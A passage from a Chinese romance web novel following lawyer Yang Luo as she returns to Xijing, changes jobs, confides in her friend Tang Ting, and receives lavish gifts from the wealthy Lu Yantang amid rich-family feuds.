陆砚堂在夜里离开,杨珞打算两天后回国。程进安排好了回程的事项,问杨珞:“还有一天,要不要在附近玩一玩。”
港城不大,杨珞在上学的时候也大多都去过。况且在林纪泽的地盘,虽然陆砚堂再三保证,但杨珞还是不愿意节外生枝。
“我没什么想去的地方,你倒是可以在附近转转,不用一直守着我。”
“我也不用,我在这里呆过很多年。”
“什么时候?”
“十年前了,那时候跟陆先生一起在这里。”
“十年前你们就在一起了?”
程进一愣,杨珞也立马反应过来她话里的歧义,两人都没忍住笑了。
杨珞赶紧打圆场:“不过出去吃个饭还是可以的,我知道附近有一家很有名的粤菜,我请你吃饭,走吧。”
程进脚步跟上:“我来吧。”
杨珞:“你也不替你们陆先生省点钱?”
程进:“他有的是钱,用不着。”
虽是陆砚堂交代的,但杨珞还是很感激程进这些日子对自己的照顾。她坚持说服了程进让自己请他吃一顿饭。
两人去的餐馆是当地开了很多年的粤菜馆,杨珞口味偏辣,对粤菜的兴趣不算大,把菜单递给程进:“请吧。”
程进也不再客气,接过菜单点了几个特色菜。
“你叫我阿进就行。”
“陆砚堂就这么叫你吗?”
程进点了点头。
“你是什么时候开始给陆砚堂做助理的?”
“八岁。”
杨珞惊讶道:“你们是朋友啊。”
程进愣住,被她想当然的答案弄的不知所措。他和陆砚堂的关系很复杂,但从未往朋友两个字上想过。
“不算是,他是我的老板。”
杨珞敏锐的察觉到了他的局促,她虽是平头老百姓一个,但有唐亭在身边,对豪门之事也有所耳闻。杨珞立马调转了话题,可两人本就不熟,无论如何也绕不开陆砚堂。
杨珞:“和林尊儒合作的事难吗?”
程进:“你指哪方面?”
杨珞:“他会损失很多利益吗?”
程进笑了笑:“不会。陆先生要做生意,林尊儒也要做生意,这笔生意他不做,自然有别人要做。当然,如果没有你,陆先生不会选林尊儒,毕竟他不是最优选。但是选了林尊儒,倒也不至于吃大亏。”
杨珞惊讶于程进的坦然,不忍多看了他两眼。
程进察觉到:“怎么了?”
杨珞:“不至于吃大亏虽是事实,但这个选择也是因我而起。你大可在我眼前美言许多,叫我记住陆砚堂的恩情,感激涕零,好好回报他。你这么直白的告诉我真相,真不怕白费了他的一番安排?”
程进笑着摇头:“你如果去问他,他肯定也是一样的回答。”
杨珞思索着程进的话,二人的关系绝非普通的上下属。晚上回去她将今日的见闻告诉了唐亭,唐亭却并不意外。
“陆家这样的家世,通常都会有从小培养的心腹。有的只有一个,有的会有两三个。很像古代的书童,一起长大,一起学习。比普通的上下级要亲近,但也称不上是朋友。程进这样的人,从小接受的教育是忠心和护主,必要的时候,他是要替陆砚堂送命的。”
凉风吹过,杨珞打了个冷颤。
“这样的家庭,真的有那么多刀光剑影吗?”
唐亭打了个哈欠:“小祖宗,不计其数的金钱和权力,谁不想拼命争一把?”
次日一早,杨珞一行人从港城离开。
到达西京时已经是下午两点,飞机落地,中午刺眼的阳光射的杨珞睁不开眼睛。但她却闭着眼睛直面太阳,感受脸颊上炙热的温度。
她许久没有这么真切的感受过阳光的温暖了。
头顶那团永不消散的乌云终于消失了。
程进为杨珞安排了车,但杨珞却拒绝了。
“我能不能自己回去?”
程进:“还有什么事吗?”
杨珞:“没什么事,我就是想自己走一走。”
程进回想起陆砚堂说过的话。你做你的事,她做她的事。
程进:“当然,注意安全,有事随时联系我。”
杨珞:“谢谢你程进,这一路麻烦你了。”
程进:“客气了,叫我阿进就好。”
这是程进第二次让她称呼阿进。
杨珞笑了笑:“嗯,阿进。”
程进离开后,杨珞拖着自己的行李箱慢悠悠的走着。她先到了便利店门口,买了一份便餐,坐在玻璃前气定神闲的吃起来。看着眼前走过的每一个游客,或是匆忙,或是急促。
吃饱喝足后,她按着机场的指示牌到了地铁站。
自从毕
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业回到西京后她再也没做过公共交通。她每天忙着赚钱,忙着逃命,忙着躲避自己心中的痛苦。从未悠闲的体验过自己的生活,也没有好好看过自己所在的城市。
她盯着地铁提示牌,周围熙熙攘攘,可她一点不觉得拥挤,反而心中越来越充盈。
机场离家里有十三站,杨珞坐在角落里,闭上了眼睛,听着地铁的播报声,宁静而柔和。
下了地铁,太阳依旧挂在天上,她在地铁旁边的报停里买了一只冰棍儿,边吃边往家走。时不时看看路边的小野花,还有路边的广告牌。
空气中弥漫着自由的清香,让杨珞如梦如幻。
晚上杨珞赴了唐亭的约,在西京国际大厦顶层的西餐厅。
唐亭美其名曰要为她庆祝自由身,杨珞本就心情大好,梳妆打扮后便去赴约。
唐亭并不是从家里出发的,她这几日都在唐家。
杨珞满心欢喜的等待唐亭,却在看见她的时候心里咯噔一下。
唐亭明显梳妆打扮了,可精致的眉目之间却有着一丝难以掩饰的疲惫和忧心。但唐亭在看到杨珞的那一刻还是立马喜笑颜开,朝她跑过来。
杨珞朝唐亭走过去,却没想到她一把抱住了自己。
两人沉默了许久,杨珞听到了唐亭细微的啜泣声。
熟悉的场景将杨珞拉回到记忆深处,那是一个雨后的傍晚。
唐亭知道了杨珞在港城的遭遇后马不停蹄的赶了过去,她找到了林纪泽,用她在唐家微弱的势力同林纪泽谈判。
可如同以卵击石,林纪泽不在意唐亭,也不在意西京唐家。他开口,问了一个无厘头的问题。
“你和杨珞是亲姐妹吗?为什么你们的姓不一样?”
唐亭微微一怔:“我们不是,我们是朋友。”
林纪泽眼神里闪过一丝惊讶,而后轻蔑的笑了。
“朋友?朋友关系就值得你为她这么拼命?”
唐亭:“不止是朋友,可惜你不懂。”
唐亭掷地有声的话刺痛了林纪泽,他转身离去,再没有理会唐亭。
唐亭无功而返,抱着唯一的希望回到了唐家,她本想用自己在唐家这几年的服低做小来求唐言声为她想想办法,救救杨珞。可唐言声却狠狠给她了一巴掌。
“你算什么东西?你也敢去惹林家?你自己送死,别拖累着唐家一起!”
为了防止唐亭再做傻事,唐言声把唐亭关了起来。
杨珞没想到自己会拖累唐亭到这种地步,她孤身一人去见了唐言声。
“你放了唐亭,我保证她绝不再插手我和林纪泽的事。如果你不放她,我一定让林纪泽视唐家为眼中钉。”
杨珞的话威胁到了唐言声。杨珞知道,他欺软怕硬。
唐言声带着满肚子的憋屈打开了锁着唐亭的门,一脚踹翻了门口的椅子。
唐亭倚座在窗台前,在一阵噼里啪啦声中缓缓回头。
“你进唐家的时候我就警告过你,跟你那群破烂朋友断了关系,你倒好,一个劲儿的给她送钱送东西,是不是哪天你还要把命送给她?把整个唐家送给她?真是个吃里扒外的贱货!”
50. 第46章
唐亭对唐言声的羞辱早就习以为常,她一言不发,又转过头去看窗外。
唐言声像是一拳头打在了棉花上,换做平时,早就动手了,可现在杨珞在门外,他顾忌林纪泽,还是生生忍下来。
“杨珞在外头等你,赶紧滚出去吧。”
唐亭猛地回头,眼里终于有了几分情绪,反应片刻后冲出门外。
她一把抱住了杨珞,无声落下几滴泪。
“对不起,我救不了你。”
杨珞拍着她的后背:“没事的,一切都会好的。”
杨珞安慰着她,也安慰着自己,就像她们第一次见面时。
天台的风吹醒了唐亭,她豪爽的擦掉落下的几滴泪,看着容光焕发的杨珞,笑的合不拢嘴。
两人落座,看着西京的夜景,杨珞事无巨细的向唐亭说了这些日子发生的所有事。大致的脉络唐亭已然清楚,但林纪泽消失的这么彻底还是让她颇感意外。
“林尊儒怎么能把林纪泽控制的这么牢固?”
杨珞摇了摇头:“不清楚,我以前在林纪泽家里见过林尊儒一面,那个人很可怕,他只远远的看了我一眼,我就觉得出了一身冷汗。”
唐亭若有所思的盯着手里的红酒,杨珞知道她在思考另一个世界的事情。
那个世界残忍、无情、充满了争斗,不属于她这种平民。
杨珞:“你最近在做什么?”
唐亭勾唇一笑:“最近?我在看一场好戏。”
杨珞:“嗯?”
唐亭:“你知道唐言声有个儿子吧?”
杨珞:“我知道啊,好像有两岁了吧。”
唐言声和临市一个地产大亨家的千金喜结连理,但婚后三五年都没有孩子。大家族的传宗接代总是头等大事,直到前年才有了一个小儿子,整个唐家都宝贝的不得了。
唐亭:“儿子不是他的。”
杨珞惊掉下巴:“什么?!”
唐亭:“不仅如此,唐言声根本就生不出来孩子,唐家注定要断子绝孙。”
杨珞怔住,她明白唐亭嘴里的断子绝孙是什么意思。
唐继平原本有三个儿子,唐言声是老大。小儿子因为一场意外去世,二儿子被仇家所杀。唐继平也是在相继死了两个孩子的时候,才将唐亭这个私生女接回唐家。
如果唐言声不能生育,那注定唐家的血脉就绝了。
唐亭切了一口牛排送入口中,咀嚼的愉悦感让她脸上多了一分笑意。
“唐言声真是个十足的蠢货,如果我是他,自己生不出孩子,我一定会对这件事睁只眼闭只眼,把孩子养大,总也会留一份恩情在。可他觉得脸上无光,一通大闹,弄的两家谁也下不了台面。本就是商业联姻,现在撕破了脸,对方非要离婚。”
杨珞:“闹到这个地步,孩子还不是自己的,离就离了吧。”
唐亭:“有唐继平在,只怕不好离。”
杨珞:“为什么?”
唐亭:“你知道真的离婚了意味着什么吗?意味着唐家失去了最有力的同盟,在西京就再也站不住脚了。”
杨珞了然,她当作寻常八卦来听,却忽略了大家族背后错综复杂的关系。
以往她定会左耳朵进又耳朵出,可现在唐亭的话却在她心里停留了许久。
豪门世家,婚姻总伴随着太多的利益纠葛。
陆砚堂也不会例外。
那自己呢?他口中允许她随意定义的关系,一定不包含婚姻吧。
唐亭注意到杨珞的神色,笑道:“你又在发愁了?”
杨珞:“哪有。”
唐亭:“我不仅知道你在发愁,我还知道你愁什么。”
杨珞不出声了,她知道唐亭可不是在说大话。
唐亭:“陆砚堂为什么没有一起回来?”
杨珞:“他好像还有事情没办完,还在美国。”
唐亭:“什么时候回来?”
杨珞:“不知道。”
唐亭:“要来找你吗?”
杨珞:“不知道。”
唐亭:“好好好,一问三不知,你算是彻底被他拿捏了。”
杨珞哑口无言。
她长长的出了一口气,沉默许久,终于道:“其实我也不知道怎么办。他总是神秘莫测,我猜不透他的心思。”
唐亭:“你担心的太多了。如果他只是一个普通人,你还会像现在这样吗?”
杨珞思索片刻:“或许不会吧。”
唐亭:“你害怕他的权力,害怕他的权衡,因为他和你不是一个世界的人,和你有着不一样的生存规则,归根到底,你害怕的是未知。”
杨珞笑了:“你总是能一语道破我的处境。”
唐亭:“可你还是喜欢他的,对吗?”
杨珞怔了一下,却没有反驳。
“说一千道一万,他没有让你干别的,只是问你要不要和他谈个恋爱。即便他是个普通人,你们门当户对,最后能不能结婚都另说。你又何必提前考虑那么多呢?”
杨珞低下头,片刻后又抬起头:“那你说,我应该怎么办才好?”
唐亭:“不要太害怕,但也不要不识好歹。他喜欢你,但更喜欢权力。你带着这个认知进入这段恋爱就足够了。毕竟你也喜欢他,先顾着当下吧。”
唐亭的话给了杨珞很大的启发。
她害怕的是未知,一个在她主观世界之外的人,通常无法预测他的想法和行为。
可要她全然放下,她又放不下。
杨珞在床上滚来滚去,矛盾的睡不着觉。
她点开陆砚堂的微信,还停留在好几天前的对话上,朋友圈也什么都没有。
杨珞在愈发焦虑的心情中清晰的感受到了对陆砚堂的感情。
她扔开手机,闭上眼睛,长长的叹了一口气。
杨珞啊,你惨喽~
次日,杨珞准备处理一下自己工作的事。
在港城的事情闹的太大,跟过去的还有律所的人,如果自己再回去,流言蜚语真的能淹死她。况且她现在和陆砚堂的关系并不明朗,律所和凌川还有合作关系,怎么着都不方便。
杨珞仔细斟酌之后,决定从现在的律所辞职。
为了避免惹人耳目,杨珞在快下班的时候约了张凌睿,在律所旁边的一家咖啡厅。
张凌睿来的很准时,来了就冲她一顿吐槽:“所里这几天接了个并购的大案,这几天给我忙得呦,快别提了。”
杨珞:“你不是最喜欢接大案吗?来钱跟流水似的。”
张凌睿:“年纪大了,干不动了。你什么时候回来的?”
杨珞:“前天,我这次找你是想辞职。”
张凌睿喝了一口咖啡,似乎并不惊讶。
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“可以啊,找个时间来所里办下手续就行了。你手里那些案子我找人接手一下,但是代理费你得还回来啊。”
杨珞:“放心吧,我没你那么贪财。”
张凌睿:“是吗?现在不急着赚钱了吗?”
杨珞顿了一下:“没那么急了。”
张凌睿点了点头:“那就好。”
两人聊了半个多小时,张凌睿没有多问一句话,杨珞知道他是个聪明人,但如此顾及她的感受,还是让自己很感动。
临走时,张凌睿说:“单我就不买了,算你请我的。以后有事儿需要我帮忙你就开口。”
杨珞心里五味杂陈,最终只说了一句谢谢。
张凌睿摆了摆手,拍了下她的肩膀:“好好过日子。”
第二天杨珞去律所办手续,碰到几个熟人还是照常打了招呼。表面上客客气气的,背地里也少不了议论她的八卦。
杨珞权当做没听见,等手续办完就离开。
她在张凌睿的办公室里等着,门外想起了周淼的声音。杨珞心底想了想,还是没有出去打招呼。
两人终究只是同事,后续以后也再无交集,自己处于话题中心,又何必多此一举。
办完离职手续出来后,杨珞把自己银行卡、支付宝和微信的所有余额都算了一遍,不算富裕,但也小有积蓄。
毕竟这几年为了移民,她没日没夜的拼命工作,还是攒了点。
离职之后杨珞第一件事就是回老家把妈妈接过来住几日,要来时杨母提了许多东西。
杨珞:“那里什么都有,你不用带。”
王慧:“我也没带什么,亭亭前几天打电话说她睡得不好,我给她弄了个枕头。还有你,我找赵叔又给你开了几副中药,调理调理。”
杨珞:“我好好地调理什么呀,又没生病。”
王慧:“还说没生病?你这工作忙的天天满世界跑,上次见你脸色又黄又白,吃饭也不好好吃。诶,不过这次倒是好多了,看着没前段时间那么憔悴了,工作不忙了?”
杨珞笑了笑:“我把工作辞了。”
王慧愣了一下:“辞了也好,你那个律所太累人,年纪轻轻的把人都累垮了。”
杨珞:“是啊,我打算过段时间换个地方。”
王慧:“物色好了吗?”
杨珞:“还没呢。”
杨母:“不着急,先歇歇。”
杨珞拿过枕头摸了摸:“这是什么枕头,里面装的什么呀?”
王慧:“这叫决明子。”
杨珞:“这么硬,能舒服吗?”
王慧:“你爱睡软的,亭亭得睡硬的,她颈椎不好。”
杨珞:“行呢。”
母女俩沉默了一会儿,王慧问:“亭亭最近在她那个家怎么样?受委屈了吗?”
杨珞笑了笑:“没有,好着呢。你看她买的房子,多漂亮。”
王慧:“房子漂亮有什么用啊,就她那个不讲情理的哥,还有那个混账的爸。一提起来我就头疼。当时我就不想让她回去,回去准没好。”
杨珞哭笑不得:“行了妈,她回去有她自己的事要做,你就别操心了。”
王慧一听更来气了:“这个仇非得要报吗?她妈妈费多大劲儿把她生的那么漂亮懂事儿,她就该好好活着就行,干嘛非得搭上自己一辈子去报仇呢?”
51. 第47章
干嘛搭上自己的一辈子去报仇呢?
杨珞沉默的开着车,没有说话。
当初唐亭回到唐家的时候,也没想过自己最终要走的路是复仇。
王慧并不打算在唐亭家住很久,所以带的东西也不多。当晚三人在家里做了饭,聊了天,还喝了点小酒。
好快活的日子。
几天安逸生活后,杨珞决定找工作了。
她自从毕业就开始做律师,除了考公以外,基本上能去的也就是公司和律所了。杨珞这几年下来手里积累了一些人脉和安源,几番思索还是决定继续干律师。
西京大律所的位置基本是饱和的,她当下处于高不成低不就的状态,大律所反而并不是最优选。不如去中小型律所,资源能够更集中些。
杨珞筛选过后给三家律所投了简历,详细聊过职业规划和薪资后决定去赢天律师事务所面试。
薪资不错,名字也吉利。
但是地方太偏。
杨珞坐了将近一个小时的公交车才到站,依照导航还得再步行八分钟。
她看着头顶的大太阳,默默的打开了自己的遮阳伞。
早知道应该穿一双运动鞋过来的。
唐亭的房子在市中心,充满着都市气息,而赢天律所是在城市的老区,楼房都透着一股时代的气息。
杨珞按照地址走到了一个写字楼前,确认无误后按了电梯,结果一点反应都没。
杨珞无语。
环顾四周看看能不能找到什么信息,一位保安大爷抽着小烟悠哉的走进来。
“电梯坏了,爬楼梯吧。”
杨珞:??
她看了一眼面试通知,12楼。
此刻她真的很想转头就走,但想想自己两个小时的路程,沉没成本过于大了。
她踩着自己的高跟鞋,耗时10分钟终于爬上了12楼。
杨珞靠在墙上大口喘着气,看到走廊上金底黑字写着赢天两个字。
一个男人端着保温杯从门口出来,看到杨珞先是愣了两秒,然后开口:“来面试的?”
杨珞点头。
“进来吧。”
杨珞打起精神走进去,问道:“您是赵主任吗?”
男人:“我是张主任。赵主任在里面,你进去吧。”
杨珞:“直接进去吗?”
“对,就你一人。”
杨珞:“……”
“诶你是实习生吗?”
杨珞:“不是,我已经执业了。”
男人略显疑惑:“执业了?上一家在哪儿啊?”
杨珞:“凌睿。”
男人眉毛顿时立起来:“凌睿的执业律师?你带着案源来的?”
杨珞点了点头:“算是吧。”
男人立马冲她伸出手:“诶呦诶呦,失敬失敬,看你这么年轻,我还以为哪个刚毕业的大学生来实习呢。我叫张波,多多指教。”
杨珞被他突如其来的热情打得猝不及防,尴尬的伸出手。
张波又是拉椅子又是倒水,让杨珞受宠若惊。
她刚准备喝水,屋里突然传出一声怒吼。
“你他妈怎么给我办的事儿!”
把杨珞吓了一跳。
张波急忙安慰:“别害怕,赵主任就是那暴脾气,但人很好的,对美女很绅士的。”
杨珞看着这其貌不扬的屋子,顿时觉得自己来错地方了。
喝完一杯水,赵主任开门。
“哪个面试?”
杨珞抬头,惊讶到:“您是……赵检?”
男人长得五大三粗,刚发完脾气,两条又粗又浓的眉毛皱在一起。
看到杨珞时愣了一下,问:“你谁啊?”
杨珞顿时反应过来:“我是杨珞,之前您办过我的案件。”
检法人员从体制内出来后做律师并不少见,因为他们积累的人脉也多,往往会更好做。赵主任名为赵斌,以前是一个区检察院的检察官,杨珞接触过。但检察官每天过手的案子太多了,不记得杨珞也正常。
赵斌点了点头,冲杨珞招了招手:“进来吧。”
杨珞明白自己是来面试的,赵斌看了她的简历,问:“你在凌睿干的很不错,能在这种大所有自己的位置很不容易,为什么辞职?”
杨珞:“有一些私人原因。但不影响我的工作。”
赵斌:“行。我这个地方不大,但五脏俱全。我就一个目标,就是要能赚钱,当然要在合法的基础之上啊。你的条件不错,还有案源,进来之后呢律所会尽量配合你办案。五年一个考察期,考察期达标可以邀请你做合伙人。具体的案件分红和底薪待遇你看一下。”
杨珞没想到进度这么快:“您没有什么要问我的吗?”
赵斌:“我前线做了这么多年,看人的眼光还是有的。一个照面我就大概知道你是个什么人了,用不着问什么。”
杨珞奥了声,感慨效率之高让人倾佩。
赵斌给的待遇虽不如凌川,但已经是小型律所能开出的天花板了。她也看出了赵斌是个做实事儿的人,不搞那些虚头巴脑的。
赵斌:“你回去考虑考虑,如果可以的话后天就能来上班了。对了,我这儿还有个实习生,你来的话替我带个学生,小孩儿还没毕业,教教他。”
杨珞:“好的赵主任。”
杨珞起身要走,赵斌叫住她:“没事儿多锻炼锻炼身体,年纪轻轻的12楼都爬不了,这哪儿行啊。”
杨珞:“……”
我真是谢谢你。
杨珞又一层层爬下去,到了一楼时看到电梯工人已经在抢修了。
杨珞跑到保安大爷处问道:“这电梯多久坏一次呀?”
大爷咂摸着小烟:“诶吆别提喽,老是坏呢。”
杨珞欲哭无泪。
刚出了写字楼,母亲的电话就打了过来。
“你买的什么东西啊?一大堆一大堆的,来了好多人啊。”
杨珞听的云里雾里:“我没买东西啊?送错了吗?”
杨母:“人家就是说送给你的,都送到家里来了,好多人啊,还有个男的说的什么乱七八糟的话我也听不懂。”
杨珞:“你知道是什么东西吗?”
杨母:“我哪里知道啊,好几个大玻璃呀,亭亭不在家,他们就在门口,你快回来吧。”
杨珞挂了电话,翻
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看了自己的购物记录,的确没有买东西。
不过母亲焦急的语气还是让她有点担心,急忙拦了一辆出租车赶回去了。
到了门口发现停着一辆大卡车,有几个运货员还有个穿西装的男人站在旁边。
杨珞上前询问:“不好意思,请问您是不是送错了,我没买过东西。”
西装男:“您是杨珞小姐吗?”
“我是。”
“那就没错,是陆先生让送过来的。”
杨珞恍然大悟,有些震惊的看了看一旁的卡车。
“这些是什么东西?”
“鱼缸,鱼,几幅画,还有一些装饰品。”
杨珞百思不得其解:“这些东西我家里摆不下呀。”
西装男:“陆先生考虑到了,所以把我也送来了。”
杨珞:???
西装男:“我是一个室内设计师,如果您愿意收下的话,我可以具体安排。”
杨母匆匆下来,把杨珞拉到一边:“是你的东西吗?怎么这么多啊?”
杨珞:“额……是我的,哦不对,是唐亭的。”
杨母好奇的打量着大卡车:“她买这么些东西干什么呀。”
杨珞:“你等我打个电话问问哈。”
杨珞走到西装男面前:“今天有些晚了,即便要的话也没法安装,可以改天吗?”
西装男:“当然可以,您随时给我打电话就好。但尽量还是早点,鱼的生存环境很严格,我们只能尽量保存。”
卡车很快离开。杨珞回房间翻出陆砚堂的电话打了过去。
从港城一别后两人再也没有联系过,杨珞听着电话铃声,竟莫名其妙的紧张了起来。
“东西收到了吗?”
陆砚堂的声音沉沉的,带着午后苏醒的慵懒。
杨珞靠在落地窗前,带着几分嗔怪:“你在搞什么?为什么突然送一堆乱七八糟的东西过来?”
陆砚堂:“乱七八糟?”
杨珞:“又是鱼又是画,还有一个大活人。”
陆砚堂笑了笑,声音爽朗轻快,勾人魂魄般的让杨珞沉浸其中。
“我在夏威夷见到一种很漂亮的鱼,我就想买一些放在家里的鱼缸里。我又想到了你,我也想送你几条。可我一想,只有这几条鱼岂不是太单调了,我就选了些其他品种的一起打包给你送过去。”
杨珞安静的听着,太阳开始落山,窗外一片金黄。
好些日子互不打扰,此刻却像一对亲密的恋人分享者自己每日的见闻。
“买了鱼之后,我又想,你没有鱼缸啊。于是我只好再买了一个鱼缸。”
杨珞忍不住笑道:“那画呢?”
陆砚堂:“画啊。买了鱼缸之后我又想,家里凭空多出一座鱼缸来,岂不是很突兀。得有些相称的东西才显得和谐,所以我在纽约看展的时候,又买下了两幅画,刚好和鱼缸相配。”
杨珞:“那剩下的装饰品,是用来配画的吗?”
陆砚堂低声笑了笑:“后来我觉着再多些配饰也好。到最后我想就算把东西都给你了,也不见得你会摆。就叫人请了个设计师一起过去,最后就是你看到的那样了。”
52. 第48章
杨珞:“我还是头一回见到像你这么送礼物的。”
陆砚堂:“不合心意吗?那你跟我说你想要什么,我再送就是了。”
杨珞笑道:“合不合心意另说,房子是唐亭的,这样大动干戈的换了装修,你就没想着人家愿不愿呀?”
陆砚堂:“房子呀,她要是不喜欢我再送她一套。或者你有喜欢的房子,我就让人把鱼缸送过去,装好了一起给你。”
杨珞眉毛微扬:“陆老板好大的手笔啊。”
陆砚堂笑了笑:“我确实不太会给女人送礼物,我自己喜欢什么,想到你也就送了。你要是喜欢什么别的,可以告诉我。”
杨珞感受着耳边他的声音,感受着自己这几天无端的焦虑被一点点驱散,深深吸了一口气。
“没有,我很喜欢。”
杨珞分不清自己喜欢的到底是那几条素未谋面的鱼,还是喜欢他想起自己的时刻。
静默几秒,杨珞问道:“你什么时候回来?”
陆砚堂:“最早后天,最晚大后天。”
杨珞:“嗯,好。”
电话那头有人和陆砚堂说话,两人便挂了。
杨珞会想起自己和陆砚堂的一切,只觉得这个男人手段如此了得。
他好似从未向她索取过什么,可却引得自己控制不住的朝他敞开心扉。
到此刻他仍是气定神闲,反倒是自己兵荒马乱了。
晚上唐亭回家,杨母冲上去就问她:“你买的什么东西那么大一堆啊,家里能摆得下吗?”
唐亭莫名其妙:“我没买呀,什么东西?”
杨珞冲出来:“买了呀,就那些鱼啊,鱼缸什么的。”
杨珞一通挤眉弄眼。
唐亭接收信号:“啊,对,我买的,买来玩嘛。”
唐亭把杨珞拉到一旁:“什么情况?”
杨珞:“陆砚堂送的。”
唐亭:“哪儿呢?我怎么没见着?”
杨珞:“明天,明天你就见着了。”
次日,唐亭站在门口,目瞪口呆的看着巨大的鱼缸和一堆乱七八糟的东西。
“这是送礼物还是来拆家啊?”
杨珞尴尬的笑了笑:“这事儿很复杂,你要是不想要呢,我就让他们都拿回去。”
唐亭皱眉,看了看门口站着的一群人,目光突然瞥到了一幅画上。
思考两秒,转头对杨珞说:“要,当然要。你知道那幅画值多少钱吗?”
杨珞摇头。
唐亭:“这么跟你说吧,哪天你要是不想干了,把这画卖了你就能躺平了。”
杨珞深吸一口气。
唐亭和设计师在一旁沟通,杨珞小心翼翼端详着送来的画。
很抽象,她看不太懂。
但数量好像不太对。
她打开微信给陆砚堂发了一条消息:不是只有两幅画吗?为什么送过来四幅?
杨珞等了一会儿,没看到他回消息,便关了手机去忙了。
等设计师和唐亭沟通好,杨珞上前询问:“怎么样?”
唐亭:“挺好的,正好家里的布置我也想换换,这下子公费装修了。”
手机响了,杨珞点开一看,是陆砚堂的微信。
“有两幅是我自己的,后面有我的名字,一起寄过来了。等我回去了取。”
“好。”
家里的装修差不多弄了两天,鱼缸安在了玄关和客厅的交界处,里面的鱼杨珞都不认识,她本身对这些也不感兴趣,并没有费功夫去查。
光看个热闹,色彩斑斓的确实很不错。
杨珞拍了张照片发给了陆砚堂,片刻后收到回复。
“好看。”
杨珞哭笑不得,真是言简意赅,难得抽出时间来敷衍她。
——
西京的夜晚,洛杉矶的清晨。
老七推门进来,陆砚堂正在书桌前对着电脑办公。
“安排好了吗?”
“都安排好了,留个几个人在这里盯着,不会出什么岔子。”
“好,你跟程进对接一下,没什么事儿就下午走吧。”
“刚大小姐给我打了好多电话,说要找您。”
陆砚堂停下手中的工作,看了眼手机,全是陆繁君的未接电话。
“不用理她。”
陆繁君是陆砚堂的姐姐,两人同父异母,说起陆繁君也算是西京的一段谈资。但在陆砚堂眼里,这女人一向疯癫。
陆砚堂回到西京是下午两点,程进给陆砚堂汇报了一路的集团的近况,到最后才小心翼翼道:“老爷子叫您晚上回去吃饭。”
陆砚堂:“什么时候说的。”
程进:“两点。”
陆砚堂:“他对我的行踪倒是了如指掌。”
程进不敢说话。
陆军山并未告诉程进太多,所以晚上陆砚堂到家看到陆承熙的时候有些意外。
陆承熙是陆砚堂大伯的儿子,老头活着的时候也算个人物,可惜英年早逝,只留下了一个废物儿子。
陆砚堂虽看不上陆承熙,但他手里还是握着不可小觑的资源和股份。
陆承熙斜靠在椅子上翻手机,瞧见陆砚堂进来,抬起头来。
“弟弟,好久不见啊,最近忙什么呢?”
陆砚堂将外套递给管家,随意落座。
“公司那点破事儿,你不都知道吗?”
陆承熙哈哈大笑,又道:“我以为你今晚不会来呢,毕竟大费周章才得了温柔乡,哪里有闲情逸致来赴这种无聊的约。”
陆砚堂避而不谈,问:“今晚的局是你组的?”
陆承熙摆手:“可不是我,我哪儿有这么大脸面。”
陆砚堂笑而不语。
片刻后陆承熙又开口:“陆砚堂,你真为了一个女人跟林尊儒牵扯上了?”
“你不是查的清清楚楚吗?何必来问我?”
“港城那一窝腥你也敢粘?你自己玩脏的别拉着整个陆家下水!”
“脏?怎么个脏法?做生意跟谁不是做?”
“你知不知道这样会的罪刘崇霖?我们有多少生意是在他手里握着的?!”
陆砚堂懒懒掀起眼皮:“我得罪,你慌什么?”
陆承熙被噎的说不出话来,陆砚堂当然不怕,刘崇霖手里捏的多是他陆承熙的生意。他可算明白了,陆砚堂就是铁了心要整他。
陆承熙急的破口大骂:“我知道你小子狼子野心,但也别玩火自焚。这好歹是我父亲留下的基业,他要是泉下有知一定不让你好过!”
陆砚堂淡淡一笑:“人都死了,还讲什么鬼神怪
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论。”
陆承熙拍桌而起:“陆砚堂!”
“行了!”
门口传来??尖锐的女声打断了二人的争吵,带着几分愤怒。而后是急促的高跟鞋声。
陆繁君走到正厅,不耐烦的看着剑弩拔张的二人:“一进门就听见你们在这儿狗咬狗,一天到晚的也不嫌累。”
陆承熙憋着气坐下,陆砚堂神色淡然道:“看来这局是你组的了。”
陆繁君也不否认,阴阳怪气道:“我不借父亲大人的名号,怎么请得动您出山啊。”
陆砚堂挑眉:“请我?请我做什么?”
陆繁君将手包仍在桌子上:“用不着跟我装腔作势,我的画呢?”
“画?我是在美国拍了几幅画,但怎么就成了你的画了?”
“钱我已经给你打过去了,赶紧把画给我。”
“我可没说要卖。”
“陆砚堂,你不要不识好歹。”
陆砚堂笑而不语。
一旁看戏的陆承熙插嘴道:“又是叶云冬的画呀?人都死了这么多年了,你怎么还不翻篇儿啊。”
陆繁君抄起手包就朝陆承熙的脑袋上砸了过去。
咚的一声,力气不小。
陆承熙吃痛的跳起来,捂着脑袋吼道:“陆繁君你个疯女人,你有病啊!”
陆砚堂给自己到了杯茶,慢悠悠的喝了起来。
场面一度混乱,陆军山适时到来,两声低沉的咳嗽让陆承熙收了嘴脸。
“好不容易回家一聚,都吵什么呀?”
陆承熙伸着脑袋给陆军山看:“你看你那宝贝女儿把我脑袋砸成什么样!”
陆军上远远看了眼。
“繁君!”
出声已是警告,可陆繁君显然不怕他,盯着陆承熙言辞犀利:“你以后出门最好小心点,下次我砸的可不只是脑袋了。”
陆军山:“够了!”说罢看向一旁坐山观虎斗的陆砚堂:“你倒是会看戏。”
陆砚堂:“一桌上属我年纪最小,哥哥姐姐有矛盾,哪儿轮得着我插手。”
陆繁君嗤笑一声。
陆军山落座,家里没人时冷冷清清,人齐了又是鸡飞狗跳。
四人各有心事,一顿饭吃的颇为别扭。
陆军山:“林尊儒那件事,你还是要谨慎些。”
陆砚堂放下筷子:“我自有分寸。”
陆军山:“港城那边局势乱,赚钱倒是次要的,不要惹上什么政治麻烦。”
陆砚堂还没说话,陆承熙讥讽道:“是啊,你可不要聪明反被聪明误,最后弄的锒铛入狱。”
陆繁君转着酒杯:“好一副小人得志的嘴脸,当年你就争不过他,现在还想着咸鱼翻身呢?”
陆军山:“繁君!”
陆繁君推开椅子:“我吃饱了,先走了。”
陆繁君成了第一个离开的人,陆承熙吃了一肚子气,也没有久留。
饭桌上只剩下陆砚堂和陆军山父子二人。
两人默默吃饭,也说不了几句寒暄的话。
过了会儿,陆军山停下了手中的筷子,盯着陆砚堂看了许久。
静默之间不掩气宇轩昂,不知是不是花了眼,陆军山仿佛看到了年轻时候的自己。
陆军山忽的开口:“她叫什么名字?”
53. 第49章
陆砚堂愣了一下。
“谁?”
“你喜欢的那个女人。”
陆砚堂沉默一秒。
“杨珞。”
他端着手中的瓷碗,等着陆军山说些冠冕堂皇的话来教训他,可等了许久,只有粗重而缓慢的呼吸声。
陆军山起身:“时候不早了,你也早点回去休息吧。”
